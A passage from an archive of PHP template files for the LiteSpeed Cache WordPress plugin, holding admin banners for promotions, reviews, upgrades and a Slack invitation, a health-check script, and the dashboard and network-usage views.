 * LiteSpeed Cache Promotion Banner
 *
 * Displays a promotional banner with news and installation options.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<div class="litespeed-wrap notice notice-success litespeed-banner-promo-full">
	<div class="litespeed-banner-promo-content">
		<h3 class="litespeed-banner-title litespeed-top15"><?php echo wp_kses_post( $this->_summary['news.title'] ); ?></h3>
		<div class="litespeed-banner-description" style="flex-direction: column;">
			<div class="litespeed-banner-description-padding-right-15">
				<p class="litespeed-banner-description-content">
					<?php echo wp_kses_post( $this->_summary['news.content'] ); ?>
				</p>
			</div>
			<div class="litespeed-inline">
				<div class="litespeed-banner-description-padding-right-15 litespeed-margin-bottom10">
					<?php if ( ! empty( $this->_summary['news.plugin'] ) ) : ?>
						<?php $install_link = Utility::build_url( Router::ACTION_ACTIVATION, Activation::TYPE_INSTALL_3RD, false, null, array( 'plugin' => $this->_summary['news.plugin'] ) ); ?>
						<a href="<?php echo esc_url( $install_link ); ?>" class="button litespeed-btn-success">
							<?php esc_html_e( 'Install', 'litespeed-cache' ); ?>
							<?php
							if ( ! empty( $this->_summary['news.plugin_name'] ) ) {
								echo esc_html( $this->_summary['news.plugin_name'] );
							}
							?>
						</a>
					<?php endif; ?>
					<?php if ( ! empty( $this->_summary['news.zip'] ) ) : ?>
						<?php $install_link = Utility::build_url( Router::ACTION_ACTIVATION, Activation::TYPE_INSTALL_ZIP ); ?>
						<a href="<?php echo esc_url( $install_link ); ?>" class="button litespeed-btn-success">
							<?php esc_html_e( 'Install', 'litespeed-cache' ); ?>
						</a>
					<?php endif; ?>
				</div>
			</div>
		</div>
	</div>

	<div>
		<?php $dismiss_url = Utility::build_url( Router::ACTION_ACTIVATION, Activation::TYPE_DISMISS_RECOMMENDED ); ?>
		<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'litespeed-cache' ); ?></span>
		<a href="<?php echo esc_url( $dismiss_url ); ?>" class="litespeed-notice-dismiss">X</a>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/score.php000064400000016313151031165260020163 0ustar00<?php
/**
 * LiteSpeed Cache Performance Review Banner
 *
 * Displays a promotional banner showing page load time and PageSpeed score improvements.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$health_scores = Health::cls()->scores();

// Exit if speed is not significantly improved or score is reduced.
if ( $health_scores['speed_before'] <= $health_scores['speed_after'] * 2 || $health_scores['score_before'] >= $health_scores['score_after'] ) {
	return;
}

// Banner can be shown now.
$this->_promo_true = true;

if ( $check_only ) {
	return;
}

$ajax_url_promo = Utility::build_url(Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PROMO, true, null, array( 'promo_tag' => $promo_tag ), true);
?>

<div class="litespeed-wrap notice notice-info litespeed-banner-promo-full">
	<div class="litespeed-banner-promo-logo"></div>

	<div class="litespeed-banner-promo-content">
		<h3 class="litespeed-banner-title litespeed-banner-promo-content"><?php esc_html_e( 'Thank You for Using the LiteSpeed Cache Plugin!', 'litespeed-cache' ); ?></h3>

		<div class="litespeed-row-flex litespeed-banner-promo-content litespeed-margin-left-remove litespeed-flex-wrap">
			<div class="litespeed-right50 litespeed-margin-bottom20">
				<h2 class="litespeed-text-grey litespeed-margin-bottom-remove litespeed-top10"><?php esc_html_e( 'Page Load Time', 'litespeed-cache' ); ?></h2>
				<hr class="litespeed-margin-bottom-remove" />
				<div class="litespeed-row-flex" style="margin-left: -10px;">
					<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
						<div>
							<p class="litespeed-text-grey litespeed-margin-y-remove"><?php esc_html_e( 'Before', 'litespeed-cache' ); ?></p>
						</div>
						<div class="litespeed-top10 litespeed-text-jumbo litespeed-text-grey">
							<?php echo esc_html( $health_scores['speed_before'] ); ?><span class="litespeed-text-large">s</span>
						</div>
					</div>
					<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
						<div>
							<p class="litespeed-text-grey litespeed-margin-y-remove"><?php esc_html_e( 'After', 'litespeed-cache' ); ?></p>
						</div>
						<div class="litespeed-top10 litespeed-text-jumbo litespeed-success">
							<?php echo esc_html( $health_scores['speed_after'] ); ?><span class="litespeed-text-large">s</span>
						</div>
					</div>
					<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
						<div>
							<p class="litespeed-text-grey litespeed-margin-y-remove" style="white-space: nowrap;">
								<?php esc_html_e( 'Improved by', 'litespeed-cache' ); ?>
							</p>
						</div>
						<div class="litespeed-top10 litespeed-text-jumbo litespeed-text-fern">
							<?php echo esc_html( $health_scores['speed_improved'] ); ?><span class="litespeed-text-large">%</span>
						</div>
					</div>
				</div>
			</div>

			<?php if ( $health_scores['score_before'] < $health_scores['score_after'] ) : ?>
				<div class="litespeed-margin-bottom20">
					<h2 class="litespeed-text-grey litespeed-margin-bottom-remove litespeed-top10"><?php esc_html_e( 'PageSpeed Score', 'litespeed-cache' ); ?></h2>
					<hr class="litespeed-margin-bottom-remove" />
					<div class="litespeed-row-flex" style="margin-left: -10px;">
						<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
							<div>
								<p class="litespeed-text-grey litespeed-text-center litespeed-margin-y-remove"><?php esc_html_e( 'Before', 'litespeed-cache' ); ?></p>
							</div>
							<div class="litespeed-promo-score" style="margin-top: -5px;">
								<?php echo wp_kses( GUI::pie( esc_html( $health_scores['score_before'] ), 45, false, true, 'litespeed-pie-' . esc_attr( $this->get_cls_of_pagescore( $health_scores['score_before'] ) ) ), GUI::allowed_svg_tags() ); ?>
							</div>
						</div>
						<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
							<div>
								<p class="litespeed-text-grey litespeed-text-center litespeed-margin-y-remove"><?php esc_html_e( 'After', 'litespeed-cache' ); ?></p>
							</div>
							<div class="litespeed-promo-score" style="margin-top: -5px;">
								<?php echo wp_kses( GUI::pie( esc_html( $health_scores['score_after'] ), 45, false, true, 'litespeed-pie-' . esc_attr( $this->get_cls_of_pagescore( $health_scores['score_after'] ) ) ), GUI::allowed_svg_tags() ); ?>
							</div>
						</div>
						<div class="litespeed-width-1-3 litespeed-padding-space litespeed-margin-x5">
							<div>
								<p class="litespeed-text-grey litespeed-margin-y-remove" style="white-space: nowrap;">
									<?php esc_html_e( 'Improved by', 'litespeed-cache' ); ?>
								</p>
							</div>
							<div class="litespeed-top10 litespeed-text-jumbo litespeed-text-fern">
								<?php echo esc_html( $health_scores['score_improved'] ); ?><span class="litespeed-text-large">%</span>
							</div>
						</div>
					</div>
				</div>
			<?php endif; ?>
		</div>

		<div class="litespeed-row-flex litespeed-flex-wrap litespeed-margin-y5">
			<div class="litespeed-banner-description-padding-right-15">
				<a href="https://wordpress.org/support/plugin/litespeed-cache/reviews/?filter=5#new-post" target="_blank" rel="noopener" style="text-decoration: none;">
					<button class="button litespeed-btn-success litespeed-btn-mini">
						<?php esc_html_e( "Sure I'd love to review!", 'litespeed-cache' ); ?>
						⭐⭐⭐⭐⭐
					</button>
				</a>
				<button type="button" class="button litespeed-btn-primary litespeed-btn-mini" id="litespeed-promo-done"><?php esc_html_e( "I've already left a review", 'litespeed-cache' ); ?></button>
				<button type="button" class="button litespeed-btn-warning litespeed-btn-mini" id="litespeed-promo-later"><?php esc_html_e( 'Maybe later', 'litespeed-cache' ); ?></button>
			</div>
			<div>
				<p class="litespeed-text-small">
					<?php esc_html_e( 'Created with ❤️ by LiteSpeed team.', 'litespeed-cache' ); ?>
					<a href="https://wordpress.org/support/plugin/litespeed-cache" target="_blank" rel="noopener"><?php esc_html_e( 'Support forum', 'litespeed-cache' ); ?></a> | <a href="https://www.litespeedtech.com/support" target="_blank" rel="noopener"><?php esc_html_e( 'Submit a ticket', 'litespeed-cache' ); ?></a>
				</p>
			</div>
		</div>
	</div>

	<div>
		<?php
		$dismiss_url = Utility::build_url(
			Core::ACTION_DISMISS,
			GUI::TYPE_DISMISS_PROMO,
			false,
			null,
			array(
				'promo_tag' => 'score',
				'later'     => 1,
			)
		);
		?>
		<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'litespeed-cache' ); ?></span>
		<a href="<?php echo esc_url( $dismiss_url ); ?>" class="litespeed-notice-dismiss"><?php esc_html_e( 'Dismiss', 'litespeed-cache' ); ?></a>
	</div>
</div>

<script>
(function ($) {
	jQuery(document).ready(function () {
		/** Promo banner **/
		$('#litespeed-promo-done').on('click', function (event) {
			$('.litespeed-banner-promo-full').slideUp();
			$.get('<?php echo $ajax_url_promo;// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>&done=1');
		});
		$('#litespeed-promo-later').on('click', function (event) {
			$('.litespeed-banner-promo-full').slideUp();
			$.get('<?php echo $ajax_url_promo;// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>');
		});
	});
})(jQuery);
</script>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/new_version_dev.tpl.php000064400000003060151031165260023035 0ustar00<?php
/**
 * LiteSpeed Cache Developer Version Banner
 *
 * Displays a promotional banner for a new developer version of LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<div class="litespeed-wrap notice notice-warning litespeed-banner-promo-full">
	<div class="litespeed-banner-promo-logo"></div>

	<div class="litespeed-banner-promo-content">
		<h3 class="litespeed-banner-title litespeed-top15">
			<?php esc_html_e( 'LiteSpeed Cache', 'litespeed-cache' ); ?>:
			<?php esc_html_e( 'New Developer Version Available!', 'litespeed-cache' ); ?>
		</h3>
		<div class="litespeed-banner-description">
			<div class="litespeed-banner-description-padding-right-15">
				<p class="litespeed-banner-description-content">
					<?php
					/* translators: %s: Developer version number */
					printf(
						esc_html__( 'New developer version %s is available now.', 'litespeed-cache' ),
						'v' . esc_html( $this->_summary['version.dev'] )
					);
					?>
				</p>
			</div>
			<div class="litespeed-row-flex litespeed-banner-description">
				<div class="litespeed-banner-description-padding-right-15">
					<?php $url = Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_BETA_TEST, false, null, array( Debug2::BETA_TEST_URL => 'dev' ) ); ?>
					<a href="<?php echo esc_url( $url ); ?>" class="button litespeed-btn-success litespeed-btn-mini">
						<span class="dashicons dashicons-image-rotate"></span>
						<?php esc_html_e( 'Upgrade', 'litespeed-cache' ); ?>
					</a>
				</div>
			</div>
		</div>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/slack.php000064400000004142151031165260020142 0ustar00<?php
/**
 * LiteSpeed Cache Slack Community Banner
 *
 * Displays a promotional banner inviting users to join the LiteSpeed Slack community.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;
?>

<div class="litespeed-wrap notice notice-info litespeed-banner-promo-full" id="litespeed-banner-promo-slack">
	<div class="litespeed-banner-promo-logo"></div>

	<div class="litespeed-banner-promo-content">
		<h3 class="litespeed-banner-title"><?php esc_html_e( 'Welcome to LiteSpeed', 'litespeed-cache' ); ?></h3>
		<div class="litespeed-banner-description">
			<div class="litespeed-banner-description-padding-right-15">
				<p class="litespeed-banner-description-content">
					<?php esc_html_e( 'Want to connect with other LiteSpeed users?', 'litespeed-cache' ); ?>
					<?php
					printf(
						/* translators: %s: Link to LiteSpeed Slack community */
						esc_html__( 'Join the %s community.', 'litespeed-cache' ),
						'<a href="https://join.slack.com/t/golitespeed/shared_invite/enQtMzE5ODgxMTUyNTgzLTNiNWQ1MWZlYmI4YjEzNTM4NjdiODY2YTQ0OWVlMzBlNGZkY2E3Y2E4MjIzNmNmZmU0ZjIyNWM1ZmNmMWRlOTk" target="_blank" class="litespeed-banner-promo-slack-textlink" rel="noopener">LiteSpeed Slack</a>'
					);
					?>
				</p>
				<p class="litespeed-banner-promo-slack-line2">
					golitespeed.slack.com
				</p>
			</div>
			<div>
				<h3 class="litespeed-banner-button-link">
					<a href="https://join.slack.com/t/golitespeed/shared_invite/enQtMzE5ODgxMTUyNTgzLTNiNWQ1MWZlYmI4YjEzNTM4NjdiODY2YTQ0OWVlMzBlNGZkY2E3Y2E4MjIzNmNmZmU0ZjIyNWM1ZmNmMWRlOTk" target="_blank" rel="noopener">
						<?php esc_html_e( 'Join Us on Slack', 'litespeed-cache' ); ?>
					</a>
				</h3>
			</div>
		</div>
	</div>
	<div>
		<?php $dismiss_url = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PROMO, false, null, array( 'promo_tag' => 'slack' ) ); ?>
		<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'litespeed-cache' ); ?></span>
		<a href="<?php echo esc_url( $dismiss_url ); ?>" class="litespeed-notice-dismiss"><?php esc_html_e( 'Dismiss', 'litespeed-cache' ); ?></a>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/ajax.php000064400000001151151031165260017765 0ustar00<?php
/**
 * Health Check Script
 *
 * Triggers a health check request for speed when the document is loaded.
 *
 * @package LiteSpeed
 * @since 1.0.0
 * @deprecated 3.3 Will only show banner after user manually checked score
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$url = Utility::build_url( Router::ACTION_HEALTH, Health::TYPE_SPEED, true, null, array(), true );
?>
<script>
document.addEventListener('DOMContentLoaded', function() {
	jQuery(document).ready( function() {
			jQuery.get( '<?php echo $url; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>' ) ;
		} ) ;
});
</script>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/new_version.php000064400000007473151031165260021415 0ustar00<?php
/**
 * LiteSpeed Cache New Version Banner
 *
 * Displays a promotional banner for a new version of LiteSpeed Cache.
 *
 * @package LiteSpeed
 * @since 1.0.0
 * @note Only shown for single site installations.
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

// Exit if multisite or auto-upgrade is enabled.
if ( is_multisite() || $this->conf( Base::O_AUTO_UPGRADE ) ) {
	return;
}

$current = get_site_transient( 'update_plugins' );
if ( ! isset( $current->response[ Core::PLUGIN_FILE ] ) ) {
	return;
}

// Check for new version every 12 hours.
$last_check = empty( $this->_summary['new_version.last_check'] ) ? 0 : $this->_summary['new_version.last_check'];
if ( time() - $last_check > 43200 ) {
	GUI::save_summary( array( 'new_version.last_check' => time() ) );

	// Detect version
	$auto_v = Cloud::version_check( 'new_version_banner' );
	if ( ! empty( $auto_v['latest'] ) ) {
		GUI::save_summary( array( 'new_version.v' => $auto_v['latest'] ) );
	}
	// After detect, don't show, just return and show next time
	return;
}

if ( ! isset( $this->_summary['new_version.v'] ) || version_compare( Core::VER, $this->_summary['new_version.v'], '>=' ) ) {
	return;
}

// Banner can be shown now.
$this->_promo_true = true;

if ( $check_only ) {
	return;
}
?>

<div class="litespeed-wrap notice notice-success litespeed-banner-promo-full">
	<div class="litespeed-banner-promo-logo"></div>

	<div class="litespeed-banner-promo-content">
		<h3 class="litespeed-banner-title litespeed-top15">
			<?php esc_html_e( 'LiteSpeed Cache', 'litespeed-cache' ); ?>:
			<?php esc_html_e( 'New Version Available!', 'litespeed-cache' ); ?>
		</h3>
		<div class="litespeed-banner-description">
			<div class="litespeed-banner-description-padding-right-15">
				<p class="litespeed-banner-description-content">
					<?php
					/* translators: %s: New version number */
					printf(
						esc_html__( 'New release %s is available now.', 'litespeed-cache' ),
						'v' . esc_html( $this->_summary['new_version.v'] )
					);
					?>
				</p>
			</div>
			<div class="litespeed-row-flex litespeed-banner-description">
				<div class="litespeed-banner-description-padding-right-15">
					<?php $url = Utility::build_url( Router::ACTION_ACTIVATION, Activation::TYPE_UPGRADE ); ?>
					<a href="<?php echo esc_url( $url ); ?>" class="button litespeed-btn-success litespeed-btn-mini">
						<span class="dashicons dashicons-image-rotate"></span>
						<?php esc_html_e( 'Upgrade', 'litespeed-cache' ); ?>
					</a>
				</div>
				<div class="litespeed-banner-description-padding-right-15">
					<?php
					$cfg = array( Conf::TYPE_SET . '[' . Base::O_AUTO_UPGRADE . ']' => 1 );
					$url = Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, null, $cfg );
					?>
					<a href="<?php echo esc_url( $url ); ?>" class="button litespeed-btn-primary litespeed-btn-mini">
						<span class="dashicons dashicons-update"></span>
						<?php esc_html_e( 'Turn On Auto Upgrade', 'litespeed-cache' ); ?>
					</a>
				</div>
				<div class="litespeed-banner-description-padding-right-15">
					<?php $url = Utility::build_url( Core::ACTION_DISMISS, GUI::TYPE_DISMISS_PROMO, false, null, array( 'promo_tag' => 'new_version' ) ); ?>
					<a href="<?php echo esc_url( $url ); ?>" class="button litespeed-btn-warning litespeed-btn-mini">
						<?php esc_html_e( 'Maybe Later', 'litespeed-cache' ); ?>
					</a>
				</div>
			</div>
		</div>
	</div>

	<div>
		<?php
		$dismiss_url = Utility::build_url(
			Core::ACTION_DISMISS,
			GUI::TYPE_DISMISS_PROMO,
			false,
			null,
			array(
				'promo_tag' => 'new_version',
				'later'     => 1,
			)
		);
		?>
		<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'litespeed-cache' ); ?></span>
		<a href="<?php echo esc_url( $dismiss_url ); ?>" class="litespeed-notice-dismiss"><?php esc_html_e( 'Dismiss', 'litespeed-cache' ); ?></a>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/banner/cloud_promo.tpl.php000064400000005724151031165260022174 0ustar00<?php
/**
 * QUIC.cloud Promotion Banner
 *
 * Displays a promotional banner for QUIC.cloud services with a tweet option to earn credits.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

?>

<div class="litespeed-wrap notice notice-success litespeed-banner-promo-qc">

	<div class="litespeed-banner-promo-qc-content">

		<div class="litespeed-banner-promo-qc-description">
			<h2><?php esc_html_e( 'You just unlocked a promotion from QUIC.cloud!', 'litespeed-cache' ); ?></h2>
			<p>
				<?php
				printf(
					esc_html__( 'Spread the love and earn %s credits to use in our QUIC.cloud online services.', 'litespeed-cache' ),
					'<strong>' . absint($this->_summary['promo'][0]['quota']) . '</strong>'
				);
				?>
				</p>
			<p>
				<a class="button button-primary" href="<?php echo esc_url($this->_summary['promo'][0]['url']); ?>" target="_blank">
					<?php
					printf(
						esc_html__( 'Send to twitter to get %s bonus', 'litespeed-cache' ),
						absint($this->_summary['promo'][0]['quota'])
					);
					?>
				</a>
				<a href="https://www.quic.cloud/faq/#credit" target="_blank"><?php esc_html_e( 'Learn more', 'litespeed-cache' ); ?></a>
			</p>
		</div>

		<div class="litespeed-banner-promo-qc-preview">
			<h4 class="litespeed-tweet-preview-title"><?php esc_html_e( 'Tweet preview', 'litespeed-cache' ); ?></h4>
			<div class="litespeed-tweet-preview">

				<div class="litespeed-tweet-img"><img src="<?php echo esc_url($this->_summary['promo'][0]['image']); ?>"></div>

				<div class="litespeed-tweet-preview-content">
					<p class="litespeed-tweet-text"><?php echo esc_html($this->_summary['promo'][0]['content']); ?></p>

					<div class="litespeed-tweet-cta">
						<a href="<?php echo esc_url($this->_summary['promo'][0]['url']); ?>" class="litespeed-tweet-btn" target="_blank"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 250 250" xml:space="preserve">
								<path class="st0" d="M78.6,226.6c94.3,0,145.9-78.2,145.9-145.9c0-2.2,0-4.4-0.1-6.6c10-7.3,18.7-16.3,25.6-26.5
								c-9.4,4.1-19.3,6.9-29.5,8.1c10.7-6.4,18.7-16.5,22.5-28.4c-10.1,6-21.1,10.2-32.6,12.4c-19.4-20.7-51.9-21.7-72.6-2.2
								c-13.3,12.5-19,31.2-14.8,49C81.9,84.3,43.4,64.8,17.4,32.8c-13.6,23.4-6.7,53.4,15.9,68.5c-8.2-0.2-16.1-2.4-23.3-6.4
								c0,0.2,0,0.4,0,0.6c0,24.4,17.2,45.4,41.2,50.3c-7.6,2.1-15.5,2.4-23.2,0.9c6.7,20.9,26,35.2,47.9,35.6c-18.2,14.3-40.6,22-63.7,22
								c-4.1,0-8.2-0.3-12.2-0.7C23.5,218.6,50.7,226.6,78.6,226.6" />
							</svg>
							<?php esc_html_e( 'Tweet this', 'litespeed-cache' ); ?>
						</a>
					</div>
				</div>

			</div>

		</div>
	</div>

	<div>
		<?php $dismiss_url = Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_CLEAR_PROMO ); ?>
		<span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'litespeed-cache' ); ?>.</span>
		<a href="<?php echo esc_url($dismiss_url); ?>" class="litespeed-notice-dismiss">X</a>
	</div>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/dash/entry.tpl.php000064400000001704151031165260020457 0ustar00<?php
/**
 * LiteSpeed Cache Dashboard Wrapper
 *
 * Renders the main dashboard page for the LiteSpeed Cache plugin in the WordPress admin area.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$menu_list = array(
	'dashboard' => esc_html__( 'Dashboard', 'litespeed-cache' ),
);

if ( $this->_is_network_admin ) {
	$menu_list = array(
		'network_dash' => esc_html__( 'Network Dashboard', 'litespeed-cache' ),
	);
}

?>

<div class="wrap">
	<h1 class="litespeed-h1">
		<?php echo esc_html__( 'LiteSpeed Cache Dashboard', 'litespeed-cache' ); ?>
	</h1>
	<span class="litespeed-desc">
		<?php echo esc_html( 'v' . Core::VER ); ?>
	</span>
	<hr class="wp-header-end">
</div>

<div class="litespeed-wrap">
	<?php
	foreach ( $menu_list as $tab_key => $tab_val ) {
		echo '<div data-litespeed-layout="' . esc_attr( $tab_key ) . '">';
		require LSCWP_DIR . 'tpl/dash/' . $tab_key . '.tpl.php';
		echo '</div>';
	}
	?>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/dash/network_dash.tpl.php000064400000011242151031165260022004 0ustar00<?php
/**
 * LiteSpeed Cache Network Dashboard
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$cloud_summaries = array();
$blogs           = Activation::get_network_ids();
foreach ( $blogs as $network_blog_id ) {
	switch_to_blog( $network_blog_id );
	$cloud_summaries[ home_url() ] = Cloud::get_summary();
	// May need restore_current_blog();
}

?>

<div class="litespeed-dashboard">
<?php foreach ( $cloud_summaries as $home_url => $cloud_summary ) : ?>

	<div class="litespeed-dashboard-header">
		<h3 class="litespeed-dashboard-title">
			<?php echo esc_html( sprintf( __( 'Usage Statistics: %s', 'litespeed-cache' ), $home_url ) ); ?>
		</h3>
		<hr>
	</div>

	<div class="litespeed-dashboard-stats-wrapper">
		<?php
		$cat_list = array(
			'img_optm'  => esc_html__( 'Image Optimization', 'litespeed-cache' ),
			'page_optm' => esc_html__( 'Page Optimization', 'litespeed-cache' ),
			'cdn'       => esc_html__( 'CDN Bandwidth', 'litespeed-cache' ),
			'lqip'      => esc_html__( 'Low Quality Image Placeholder', 'litespeed-cache' ),
		);

		foreach ( $cat_list as $svc => $svc_title ) :
			$finished_percentage = 0;
			$total_used          = '-';
			$used                = '-';
			$quota               = '-';
			$pag_used            = '-';
			$pag_total           = '-';
			$pag_width           = 0;
			$pag_bal             = 0;

			if ( ! empty( $cloud_summary[ 'usage.' . $svc ] ) ) {
				$usage               = $cloud_summary[ 'usage.' . $svc ];
				$finished_percentage = floor( $usage['used'] * 100 / $usage['quota'] );
				$used                = $usage['used'];
				$quota               = $usage['quota'];
				$pag_used            = ! empty( $usage['pag_used'] ) ? $usage['pag_used'] : 0;
				$pag_bal             = ! empty( $usage['pag_bal'] ) ? $usage['pag_bal'] : 0;
				$pag_total           = $pag_used + $pag_bal;

				if ( $pag_total ) {
					$pag_width = round( $pag_used / $pag_total * 100 ) . '%';
				}

				if ( 'cdn' === $svc ) {
					$used      = Utility::real_size( $used * 1024 * 1024 );
					$quota     = Utility::real_size( $quota * 1024 * 1024 );
					$pag_used  = Utility::real_size( $pag_used * 1024 * 1024 );
					$pag_total = Utility::real_size( $pag_total * 1024 * 1024 );
				}

				if ( ! empty( $usage['total_used'] ) ) {
					$total_used = $usage['total_used'];
				}
			}

			$percentage_bg = 'success';
			if ( 95 < $finished_percentage ) {
				$percentage_bg = 'danger';
			} elseif ( 85 < $finished_percentage ) {
				$percentage_bg = 'warning';
			}
			?>

			<div class="postbox litespeed-postbox">
				<div class="inside">
					<h3 class="litespeed-title"><?php echo esc_html( $svc_title ); ?></h3>

					<div class="litespeed-flex-container">
						<div class="litespeed-icon-vertical-middle litespeed-pie-<?php echo esc_attr( $percentage_bg ); ?>">
							<?php echo wp_kses( GUI::pie( $finished_percentage, 60, false ), GUI::allowed_svg_tags() ); ?>
						</div>
						<div>
							<div class="litespeed-dashboard-stats">
								<h3><?php echo esc_html( 'img_optm' === $svc ? __( 'Fast Queue Usage', 'litespeed-cache' ) : __( 'Usage', 'litespeed-cache' ) ); ?></h3>
								<p>
									<strong><?php echo esc_html( $used ); ?></strong>
									<?php if ( $quota !== $used ) : ?>
										<span class="litespeed-desc"> / <?php echo esc_html( $quota ); ?></span>
									<?php endif; ?>
								</p>
							</div>
						</div>
					</div>

					<?php if ( 0 < $pag_total ) : ?>
						<p class="litespeed-dashboard-stats-payg" data-balloon-pos="up" aria-label="<?php echo esc_attr__( 'Pay as You Go', 'litespeed-cache' ); ?>">
							<?php esc_html_e( 'PAYG Balance', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $pag_bal ); ?></strong>
							<button class="litespeed-info-button" data-balloon-pos="up" aria-label="<?php echo esc_attr( sprintf( __( 'This Month Usage: %s', 'litespeed-cache' ), esc_html( $pag_used ) ) ); ?>">
								<span class="dashicons dashicons-info"></span>
								<span class="screen-reader-text"><?php esc_html_e( 'Pay as You Go Usage Statistics', 'litespeed-cache' ); ?></span>
							</button>
						</p>
					<?php endif; ?>

					<?php if ( 'img_optm' === $svc ) : ?>
						<p class="litespeed-dashboard-stats-total">
							<?php esc_html_e( 'Total Usage', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $total_used ); ?> / ∞</strong>
							<button class="litespeed-info-button" data-balloon-pos="up" aria-label="<?php echo esc_attr__( 'Total images optimized in this month', 'litespeed-cache' ); ?>">
								<span class="dashicons dashicons-info"></span>
							</button>
						</p>
						<div class="clear"></div>
					<?php endif; ?>
				</div>
			</div>

		<?php endforeach; ?>
	</div>

<?php endforeach; ?>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/tpl/dash/dashboard.tpl.php000064400000127507151031165260021257 0ustar00<?php
/**
 * LiteSpeed Cache Dashboard
 *
 * Displays the dashboard for LiteSpeed Cache plugin, including cache status,
 * crawler status, QUIC.cloud service usage, and optimization statistics.
 *
 * @package LiteSpeed
 * @since 1.0.0
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit;

$health_scores   = Health::cls()->scores();
$crawler_summary = Crawler::get_summary();

// Image related info
$img_optm_summary        = Img_Optm::get_summary();
$img_count               = Img_Optm::cls()->img_count();
$img_finished_percentage = 0;
if ( ! empty( $img_count['groups_all'] ) ) {
	$img_finished_percentage = 100 - floor( $img_count['groups_new'] * 100 / $img_count['groups_all'] );
}
if ( 100 === $img_finished_percentage && ! empty( $img_count['groups_new'] ) ) {
	$img_finished_percentage = 99;
}

$cloud_instance = Cloud::cls();
$cloud_instance->finish_qc_activation();

$cloud_summary           = Cloud::get_summary();
$css_summary             = CSS::get_summary();
$ucss_summary            = UCSS::get_summary();
$placeholder_summary     = Placeholder::get_summary();
$vpi_summary             = VPI::get_summary();
$ccss_count              = count( $this->load_queue( 'ccss' ) );
$ucss_count              = count( $this->load_queue( 'ucss' ) );
$placeholder_queue_count = count( $this->load_queue( 'lqip' ) );
$vpi_queue_count         = count( $this->load_queue( 'vpi' ) );
$can_page_load_time      = defined( 'LITESPEED_SERVER_TYPE' ) && 'NONE' !== LITESPEED_SERVER_TYPE;

?>

<div class="litespeed-dashboard">
	<?php if ( ! $cloud_instance->activated() && ! Admin_Display::has_qc_hide_banner() ) : ?>
		<div class="litespeed-dashboard-group">
			<div class="litespeed-flex-container">
				<div class="postbox litespeed-postbox litespeed-postbox-cache">
					<div class="inside">
						<h3 class="litespeed-title">
							<?php esc_html_e( 'Cache Status', 'litespeed-cache' ); ?>
							<a href="<?php echo esc_url( admin_url( 'admin.php?page=litespeed-cache' ) ); ?>" class="litespeed-title-right-icon"><?php esc_html_e( 'More', 'litespeed-cache' ); ?></a>
						</h3>
						<?php
						$cache_list = array(
							Base::O_CACHE         => esc_html__( 'Public Cache', 'litespeed-cache' ),
							Base::O_CACHE_PRIV    => esc_html__( 'Private Cache', 'litespeed-cache' ),
							Base::O_OBJECT        => esc_html__( 'Object Cache', 'litespeed-cache' ),
							Base::O_CACHE_BROWSER => esc_html__( 'Browser Cache', 'litespeed-cache' ),
						);
						foreach ( $cache_list as $cache_option => $cache_title ) :
							?>
							<p>
								<?php if ( $this->conf( $cache_option ) ) : ?>
									<span class="litespeed-label-success litespeed-label-dashboard"><?php esc_html_e( 'ON', 'litespeed-cache' ); ?></span>
								<?php else : ?>
									<span class="litespeed-label-danger litespeed-label-dashboard"><?php esc_html_e( 'OFF', 'litespeed-cache' ); ?></span>
								<?php endif; ?>
								<?php echo esc_html( $cache_title ); ?>
							</p>
						<?php endforeach; ?>
					</div>
				</div>

				<div class="postbox litespeed-postbox litespeed-postbox-crawler">
					<div class="inside">
						<h3 class="litespeed-title">
